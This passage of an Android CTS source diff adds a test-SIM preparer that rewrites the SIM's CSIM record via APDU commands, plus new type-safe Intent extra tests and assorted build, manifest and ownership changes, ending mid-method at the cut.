+                                telMan,
+                                tm ->
+                                        tm.iccTransmitApduBasicChannelByPort(
+                                                physicalSlotId,
+                                                portIndex,
+                                                // Use unencrypted class byte when getting more data
+                                                apdu.cla & ~4,
+                                                ApduCommand.INS_GET_RESPONSE,
+                                                0,
+                                                0,
+                                                moreResponseLength,
+                                                ""),
+                                Manifest.permission.MODIFY_PHONE_STATE);
+                if (response == null || response.length() < 4) {
+                    Log.e(
+                            TAG,
+                            "  response="
+                                    + response
+                                    + " (unexpected), partialResponse="
+                                    + responseBuilder.toString()
+                                    + " (incomplete)");
+                    throw new IllegalStateException(
+                            "Unexpected APDU response on line " + (lineNum + 1) + ": " + response);
+                }
+                responseBuilder.append(response.substring(0, response.length() - 4));
+                lastStatusWords = response.substring(response.length() - 4);
+            }
+
+            // Now check the final status after we've gotten all the data coming out of the SIM.
+            String fullResponse = responseBuilder.toString();
+            if (ApduResponse.SW1_SW2_OK.equals(lastStatusWords)
+                    || ApduResponse.SW1_OK_PROACTIVE_COMMAND.equals(
+                            lastStatusWords.substring(0, 2))) {
+                // 9000 is standard "ok" status, and 91xx is "ok with pending proactive command"
+                Log.i(TAG, "  response=" + fullResponse + ", statusWords=" + lastStatusWords);
+            } else {
+                // Anything else is considered a fatal error; stop the script and fail this
+                // precondition.
+                Log.e(
+                        TAG,
+                        "  response="
+                                + fullResponse
+                                + ", statusWords="
+                                + lastStatusWords
+                                + " (unexpected)");
+                throw new IllegalStateException(
+                        "Unexpected APDU response on line " + (lineNum + 1) + ": " + fullResponse);
+            }
+        }
+    }
+}
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java
new file mode 100644
index 0000000..61e1949
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/CsimRemover.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.UiccUtil.ApduCommand;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CsimRemover {
+
+    private static final String TAG = "CsimRemover";
+
+    /**
+     * APDUs to remove the CSIM record from EF_dir.
+     *
+     * <p>Given the general move away from CDMA, we do *not* have an equivalent postcondition to
+     * restore CSIM, though you can accomplish this by changing the final APDU's data to {@code
+     * "61184F10A0000003431002F310FFFF89020000FF50044353494DFFFFFFFFFFFFFF"}.
+     */
+    private static final List<ApduCommand> REMOVE_CSIM_SCRIPT =
+            List.of(
+                    // Verify ADM
+                    new ApduCommand(0x00, 0x20, 0x00, 0x0A, 0x08, "3535353535353535"),
+                    // Select MF
+                    new ApduCommand(0x00, 0xA4, 0x00, 0x0C, 0x02, "3F00"),
+                    // Select EF_dir
+                    new ApduCommand(0x00, 0xA4, 0x00, 0x0C, 0x02, "2F00"),
+                    // Overwrite CSIM record with all FF bytes
+                    new ApduCommand(0x00, 0xDC, 0x03, 0x04, 0x21, "FF".repeat(0x21)));
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Before
+    public void ensurePreconditionsMet() {
+        // Bail out if no cellular support.
+        assumeTrue("No cellular support, CSIM removal will be skipped", FeatureUtil.hasTelephony());
+        // Since this APK is signed with the 2021 CTS SIM's certificate, we assume that if we don't
+        // have carrier privileges, we shouldn't be doing anything. This APDU script is not
+        // guaranteed to work on the "legacy" CTS SIM since there's no strict spec for its content.
+        assumeTrue(
+                "No carrier privileges, CSIM removal will be skipped",
+                getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges());
+    }
+
+    /** Removes CSIM from the UICC if it's present. */
+    @Test
+    public void removeCsim() throws Exception {
+        int subId = SubscriptionManager.getDefaultSubscriptionId();
+        assumeTrue("No CSIM detected, CSIM removal will be skipped", isCsimPresent(subId));
+
+        Log.i(TAG, "Removing CSIM applet record");
+        ApduScriptUtil.runApduScript(subId, REMOVE_CSIM_SCRIPT);
+
+        // The script will internally wait for the SIM to power back up, so this may indicate an
+        // internal timing issue inside telephony if we still don't have carrier privileges by now.
+        assertWithMessage("Carrier privileges not restored after executing CSIM removal script")
+                .that(getContext().getSystemService(TelephonyManager.class).hasCarrierPrivileges())
+                .isTrue();
+        assertWithMessage("CSIM still detected, CSIM removal failed")
+                .that(isCsimPresent(subId))
+                .isFalse();
+    }
+
+    private boolean isCsimPresent(int subId) {
+        return ShellIdentityUtils.invokeMethodWithShellPermissions(
+                getContext()
+                        .getSystemService(TelephonyManager.class)
+                        .createForSubscriptionId(subId),
+                tm -> tm.isApplicationOnUicc(TelephonyManager.APPTYPE_CSIM),
+                Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
+    }
+}
diff --git a/tests/tests/carrierapi/targetprep/host/Android.bp b/tests/tests/carrierapi/targetprep/host/Android.bp
new file mode 100644
index 0000000..a68a459
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/host/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_helper_library {
+    name: "CtsCarrierApiTargetPrep",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    host_supported: true,
+    device_supported: false,
+}
diff --git a/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java b/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java
new file mode 100644
index 0000000..ce2e0b3
--- /dev/null
+++ b/tests/tests/carrierapi/targetprep/host/src/android/carrierapi/cts/targetprep/CarrierApiPreparer.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.carrierapi.cts.targetprep;
+
+import com.android.compatibility.common.tradefed.targetprep.ApkInstrumentationPreparer;
+import com.android.tradefed.config.OptionClass;
+
+/** Ensures that the CTS SIM's content matches the latest spec. */
+@OptionClass(alias = "carrier-api-preparer")
+public class CarrierApiPreparer extends ApkInstrumentationPreparer {
+
+    public CarrierApiPreparer() {
+        mWhen = When.BEFORE;
+    }
+}
diff --git a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
index d255ce2..76c613c 100644
--- a/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
+++ b/tests/tests/classloaderfactory/src/android/app/classloaderfactory/cts/InMemoryDexClassLoaderFactory.java
@@ -34,8 +34,8 @@
             ZipFile zipFile = new ZipFile(AppComponentFactoryTest.writeSecondaryApkToDisk(aInfo));
 
             ArrayList<ByteBuffer> dexFiles = new ArrayList<>();
-            for (int dexId = 0;; dexId++) {
-                String zipEntryName = "classes" + (dexId == 0 ? "" : dexId) + ".dex";
+            for (int dexId = 1;; dexId++) {
+                String zipEntryName = "classes" + (dexId == 1 ? "" : dexId) + ".dex";
                 ZipEntry zipEntry = zipFile.getEntry(zipEntryName);
                 if (zipEntry == null) {
                     break;
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index 9ada51d..b78ccbe 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -107,7 +107,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-documentsui",
     ],
     min_sdk_version: "29",
 }
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
deleted file mode 100644
index 8f2b031..0000000
--- a/tests/tests/content/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
index 875c27a..6f113da 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifest.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -1,6 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="com.example.helloworld">
 
     <application android:allowBackup="true"
@@ -20,6 +21,13 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
+
+        <!-- (b/197936012) Remove startup provider due to test timeout issue -->
+        <provider
+            android:name="androidx.startup.InitializationProvider"
+            android:authorities="${applicationId}.androidx-startup"
+            tools:node="remove" />
+
     </application>
 
 </manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml b/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
index 0410a4b..fcf289f 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
@@ -1,6 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="com.example.helloworld">
 
     <application android:allowBackup="true"
@@ -21,6 +22,13 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
+
+        <!-- (b/197936012) Remove startup provider due to test timeout issue -->
+        <provider
+            android:name="androidx.startup.InitializationProvider"
+            android:authorities="${applicationId}.androidx-startup"
+            tools:node="remove" />
+
     </application>
 
 </manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestResHardening.xml b/tests/tests/content/HelloWorldApp/AndroidManifestResHardening.xml
index 2849d3f..8c1a082 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifestResHardening.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestResHardening.xml
@@ -16,6 +16,7 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="com.example.helloworld">
 
     <application android:debuggable="true">
@@ -25,5 +26,12 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
+
+        <!-- (b/197936012) Remove startup provider due to test timeout issue -->
+        <provider
+            android:name="androidx.startup.InitializationProvider"
+            android:authorities="${applicationId}.androidx-startup"
+            tools:node="remove" />
+
     </application>
 </manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml b/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
index c42546a..b15bcfb 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
@@ -1,6 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="com.android.shell">
 
     <application android:allowBackup="true"
@@ -21,6 +22,13 @@
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
+
+        <!-- (b/197936012) Remove startup provider due to test timeout issue -->
+        <provider
+            android:name="androidx.startup.InitializationProvider"
+            android:authorities="${applicationId}.androidx-startup"
+            tools:node="remove" />
+
     </application>
 
 </manifest>
diff --git a/tests/tests/content/OWNERS b/tests/tests/content/OWNERS
index 737382c..00b8ddb 100644
--- a/tests/tests/content/OWNERS
+++ b/tests/tests/content/OWNERS
@@ -1,6 +1,8 @@
 # Bug component: 36137
-toddke@google.com
+alexbuy@google.com
+chiuwinson@google.com
 patb@google.com
 schfan@google.com
-alexbuy@google.com
-rtmitchell@google.com
+zyy@google.com
+per-file ContextTest.java = jacobhobbie@google.com,mpgroover@google.com
+per-file ClipboardAutoClearTest.java = olekarg@google.com,ashfall@google.com
\ No newline at end of file
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac34..7f588e4 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,6 +1,19 @@
 {
   "presubmit": [
     {
+      "name": "FrameworksCoreTests",
+      "options": [
+        {
+          "include-filter": "android.content.pm.PackageManagerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.Suppress"
+        }
+      ]
+    }
+  ],
+  "presubmit-large": [
+    {
       "name": "CtsContentTestCases",
       "options": [
         {
@@ -13,17 +26,6 @@
           "include-filter": "android.content.pm.cts"
         }
       ]
-    },
-    {
-      "name": "FrameworksCoreTests",
-      "options": [
-        {
-          "include-filter": "android.content.pm.PackageManagerTests"
-        },
-        {
-          "exclude-annotation": "androidx.test.filters.Suppress"
-        }
-      ]
     }
   ]
 }
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index 29e295a..a32a6c1 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -35,7 +35,6 @@
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.SharedPreferences;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.res.ColorStateList;
 import android.content.res.Resources.NotFoundException;
@@ -1080,7 +1079,7 @@
     }
 
     public void testCreatePackageContext() throws PackageManager.NameNotFoundException {
-        Context actualContext = mContext.createPackageContext(getValidPackageName(),
+        Context actualContext = mContext.createPackageContext("com.android.shell",
                 Context.CONTEXT_IGNORE_SECURITY);
 
         assertNotNull(actualContext);
@@ -1092,7 +1091,7 @@
                 UserHandle.ALL, UserHandle.CURRENT, UserHandle.SYSTEM
         }) {
             assertEquals(user, mContext
-                    .createPackageContextAsUser(getValidPackageName(), 0, user).getUser());
+                    .createPackageContextAsUser("com.android.shell", 0, user).getUser());
         }
     }
 
@@ -1105,16 +1104,6 @@
         }
     }
 
-    /**
-     * Helper method to retrieve a valid application package name to use for tests.
-     */
-    protected String getValidPackageName() {
-        List<PackageInfo> packages = mContext.getPackageManager().getInstalledPackages(
-                PackageManager.GET_ACTIVITIES);
-        assertTrue(packages.size() >= 1);
-        return packages.get(0).packageName;
-    }
-
     public void testGetMainLooper() {
         assertNotNull(mContext.getMainLooper());
     }
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index ca338f7..3cacf58 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -57,7 +57,7 @@
         // Test getBaseContext()
         assertSame(context, testContextWrapper.getBaseContext());
 
-        Context secondContext = testContextWrapper.createPackageContext(getValidPackageName(),
+        Context secondContext = testContextWrapper.createPackageContext("com.android.shell",
                 Context.CONTEXT_IGNORE_SECURITY);
         assertNotNull(secondContext);
 
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index c76a0fb..dcd2fe6 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -16,8 +16,7 @@
 
 package android.content.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertArrayEquals;
 
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -32,6 +31,7 @@
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
+import android.os.Parcelable;
 import android.os.ServiceManager;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Contacts.People;
@@ -39,7 +39,8 @@
 import android.util.AttributeSet;
 import android.util.Xml;
 
-import com.android.content.cts.DummyParcelable;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 import java.io.Serializable;
@@ -156,6 +157,34 @@
         assertEquals(expected, target);
     }
 
+    public void testGetParcelableArrayListExtraTypeSafe_withMismatchingType_returnsNull() {
+        final ArrayList<TestParcelable> original = new ArrayList<>();
+        original.add(new TestParcelable(0));
+        mIntent.putParcelableArrayListExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertNull(mIntent.getParcelableArrayListExtra(TEST_EXTRA_NAME, Intent.class));
+    }
+
+    public void testGetParcelableArrayListExtraTypeSafe_withMatchingType_returnsObject() {
+        final ArrayList<TestParcelable> original = new ArrayList<>();
+        original.add(new TestParcelable(0));
+        original.add(new TestParcelable(1));
+        mIntent.putParcelableArrayListExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertEquals(original,
+                mIntent.getParcelableArrayListExtra(TEST_EXTRA_NAME, TestParcelable.class));
+    }
+
+    public void testGetParcelableArrayListExtraTypeSafe_withBaseType_returnsObject() {
+        final ArrayList<TestParcelable> original = new ArrayList<>();
+        original.add(new TestParcelable(0));
+        original.add(new TestParcelable(1));
+        mIntent.putParcelableArrayListExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertEquals(original,
+                mIntent.getParcelableArrayListExtra(TEST_EXTRA_NAME, Parcelable.class));
+    }
+
     public void testFilterHashCode() {
         mIntent.filterHashCode();
     }
@@ -611,6 +640,23 @@
         assertEquals(expected, mIntent.getParcelableExtra(TEST_EXTRA_NAME));
     }
 
+    public void testGetParcelableExtraTypeSafe_withMismatchingType_returnsNull() {
+        mIntent.putExtra(TEST_EXTRA_NAME, new TestParcelable(42));
+        assertNull(mIntent.getParcelableExtra(TEST_EXTRA_NAME, Intent.class));
+    }
+
+    public void testGetParcelableExtraTypeSafe_withMatchingType_returnsObject() {
+        final TestParcelable original = new TestParcelable(42);
+        mIntent.putExtra(TEST_EXTRA_NAME, original);
+        assertEquals(original, mIntent.getParcelableExtra(TEST_EXTRA_NAME, TestParcelable.class));
+    }
+
+    public void testGetParcelableExtraTypeSafe_withBaseType_returnsObject() {
+        final TestParcelable original = new TestParcelable(42);
+        mIntent.putExtra(TEST_EXTRA_NAME, original);
+        assertEquals(original, mIntent.getParcelableExtra(TEST_EXTRA_NAME, Parcelable.class));
+    }
+
     public void testAccessAction() {
         mIntent.setAction(TEST_ACTION);
         assertEquals(TEST_ACTION, mIntent.getAction());
@@ -738,7 +784,29 @@
     public void testGetParcelableArrayExtra() {
         final Intent[] expected = { new Intent(TEST_ACTION), new Intent(mContext, MockActivity.class) };
         mIntent.putExtra(TEST_EXTRA_NAME, expected);
-        assertEquals(expected, mIntent.getParcelableArrayExtra(TEST_EXTRA_NAME));
+        assertArrayEquals(expected, mIntent.getParcelableArrayExtra(TEST_EXTRA_NAME));
+    }
+
+    public void testGetParcelableArrayExtraTypeSafe_withMismatchingType_returnsNull() {
+        mIntent.putExtra(TEST_EXTRA_NAME, new TestParcelable[] {new TestParcelable(42)});
+        roundtrip();
+        assertNull(mIntent.getParcelableArrayExtra(TEST_EXTRA_NAME, Intent.class));
+    }
+
+    public void testGetParcelableArrayExtraTypeSafe_withMatchingType_returnsObject() {
+        final TestParcelable[] original = { new TestParcelable(1), new TestParcelable(2) };
+        mIntent.putExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertArrayEquals(original,
+                mIntent.getParcelableArrayExtra(TEST_EXTRA_NAME, TestParcelable.class));
+    }
+
+    public void testGetParcelableArrayExtraTypeSafe_withBaseType_returnsObject() {
+        final TestParcelable[] original = { new TestParcelable(1), new TestParcelable(2) };
+        mIntent.putExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertArrayEquals(original,
+                mIntent.getParcelableArrayExtra(TEST_EXTRA_NAME, Parcelable.class));
     }
 
     public void testResolveActivityEmpty() {
@@ -1813,6 +1881,26 @@
         assertEquals(expected.Name, target.Name);
     }
 
+    public void testGetSerializableExtraTypeSafe_withMismatchingType_returnsNull() {
+        mIntent.putExtra(TEST_EXTRA_NAME, new TestSerializable());
+        roundtrip();
+        assertNull(mIntent.getSerializableExtra(TEST_EXTRA_NAME, Long.class));
+    }
+
+    public void testGetSerializableExtraTypeSafe_withMatchingType_returnsObject() {
+        String original = "Hello, World!";
+        mIntent.putExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertEquals(original, mIntent.getSerializableExtra(TEST_EXTRA_NAME, String.class));
+    }
+
+    public void testGetSerializableExtraTypeSafe_withBaseType_returnsObject() {
+        String original = "Hello, World!";
+        mIntent.putExtra(TEST_EXTRA_NAME, original);
+        roundtrip();
+        assertEquals(original, mIntent.getSerializableExtra(TEST_EXTRA_NAME, Serializable.class));
+    }
+
     public void testReplaceExtras() {
         Bundle extras = new Bundle();
         String bundleKey = "testKey";
@@ -1842,51 +1930,66 @@
         assertEquals("foo/bar", Intent.normalizeMimeType("   foo/bar    "));
     }
 
-    public void testRemoveUnsafeExtras() {
-        final Intent intent = new Intent();
-        final DummyParcelable dummyParcelable = new DummyParcelable();
-        intent.removeUnsafeExtras();
-        assertNull(intent.getExtras());
-
-        // Check that removeUnsafeExtras keeps the same bundle if no changes are made.
-        Bundle origExtras = new Bundle();
-        origExtras.putString("foo", "bar");
-        intent.replaceExtras(origExtras);
-        intent.removeUnsafeExtras();
-        Bundle newExtras = intent.getExtras();
-        assertEquals(1, newExtras.size());
-        assertEquals("bar", newExtras.get("foo"));
-
-        // Check that removeUnsafeExtras will strip non-framework parcelables without modifying
-        // the original extras bundle.
-        origExtras.putParcelable("baddy", dummyParcelable);
-        intent.replaceExtras(origExtras);
-        intent.removeUnsafeExtras();
-        newExtras = intent.getExtras();
-        assertEquals(1, newExtras.size());
-        assertEquals("bar", newExtras.get("foo"));
-        assertEquals(2, origExtras.size());
-        assertEquals("bar", origExtras.get("foo"));
-        assertSame(dummyParcelable, origExtras.get("baddy"));
-
-        // Check that nested bad values will be stripped.
-        Bundle origSubExtras = new Bundle();
-        origSubExtras.putParcelable("baddy", dummyParcelable);
-        origExtras.putBundle("baddy", origSubExtras);
-        intent.replaceExtras(origExtras);
-        intent.removeUnsafeExtras();
-        newExtras = intent.getExtras();
-        assertEquals(2, newExtras.size());
-        assertEquals("bar", newExtras.get("foo"));
-        Bundle newSubExtras = newExtras.getBundle("baddy");
-        assertNotSame(origSubExtras, newSubExtras);
-        assertEquals(0, newSubExtras.size());
-        assertEquals(1, origSubExtras.size());
-        assertSame(dummyParcelable, origSubExtras.get("baddy"));
+    private void roundtrip() {
+        Parcel p = Parcel.obtain();
+        p.writeParcelable(mIntent, 0);
+        p.setDataPosition(0);
+        mIntent = p.readParcelable(getClass().getClassLoader(), Intent.class);
+        mIntent.setExtrasClassLoader(getClass().getClassLoader());
     }
 
     private static class TestSerializable implements Serializable {
         static final long serialVersionUID = 1l;
         public String Name;
     }
+
+    private static class TestParcelable implements Parcelable {
+        public final int value;
+
+        TestParcelable(int value) {
+            this.value = value;
+        }
+
+        protected TestParcelable(Parcel in) {
+            value = in.readInt();
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel out, int flags) {
+            out.writeInt(value);
+        }
+
+        @Override
+        public boolean equals(Object other) {
+            if (this == other) {
+                return true;
+            }
+            if (!(other instanceof TestParcelable)) {
+                return false;
+            }
+            TestParcelable that = (TestParcelable) other;
+            return value == that.value;
+        }
+
+        @Override
+        public int hashCode() {
+            return value;
+        }
+
+        public static final Creator<TestParcelable> CREATOR = new Creator<TestParcelable>() {
+            @Override
+            public TestParcelable createFromParcel(Parcel in) {
+                return new TestParcelable(in);
+            }
+            @Override
+            public TestParcelable[] newArray(int size) {
+                return new TestParcelable[size];
+            }
+        };
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/LocusIdTest.java b/tests/tests/content/src/android/content/cts/LocusIdTest.java
index e386f47..c0636e0 100644
--- a/tests/tests/content/src/android/content/cts/LocusIdTest.java
+++ b/tests/tests/content/src/android/content/cts/LocusIdTest.java
@@ -81,7 +81,7 @@
 
         try {
             // Write to parcel
-            parcel.setDataPosition(0); // Sanity / paranoid check
+            parcel.setDataPosition(0); // Initial check
             original.writeToParcel(parcel, 0);
 
             // Read from parcel
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7..df40ea9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.DataLoaderParams;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionParams;
 import android.content.pm.PackageManager;
 import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@
 import java.util.Arrays;
 import java.util.Optional;
 import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
 import java.util.stream.Collectors;
 
 @RunWith(Parameterized.class)
@@ -154,6 +171,15 @@
         }
     }
 
+    private static void writeFileToSession(PackageInstaller.Session session, String name,
+            String apk) throws IOException {
+        File file = new File(createApkPath(apk));
+        try (OutputStream os = session.openWrite(name, 0, file.length());
+             InputStream is = new FileInputStream(file)) {
+            writeFullStream(is, os, file.length());
+        }
+    }
+
     @Before
     public void onBefore() throws Exception {
         // Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@
     }
 
     @Test
+    public void testDontKillWithSplit() throws Exception {
+        installPackage(TEST_HW5);
+
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(TEST_APP_PACKAGE);
+            params.setDontKillApp(true);
+
+            final int sessionId = installer.createSession(params);
+            PackageInstaller.Session session = installer.openSession(sessionId);
+            assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+            writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+            final CompletableFuture<Boolean> result = new CompletableFuture<>();
+            session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+                @Override
+                public void send(int code, Intent intent, String resolvedType,
+                        IBinder whitelistToken, IIntentReceiver finishedReceiver,
+                        String requiredPermission, Bundle options) throws RemoteException {
+                    boolean dontKillApp =
+                            (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+                    result.complete(dontKillApp);
+                }
+            }));
+
+            // We are adding split. OK to have the flag.
+            assertTrue(result.get());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testDontKillRemovedWithBaseApk() throws Exception {
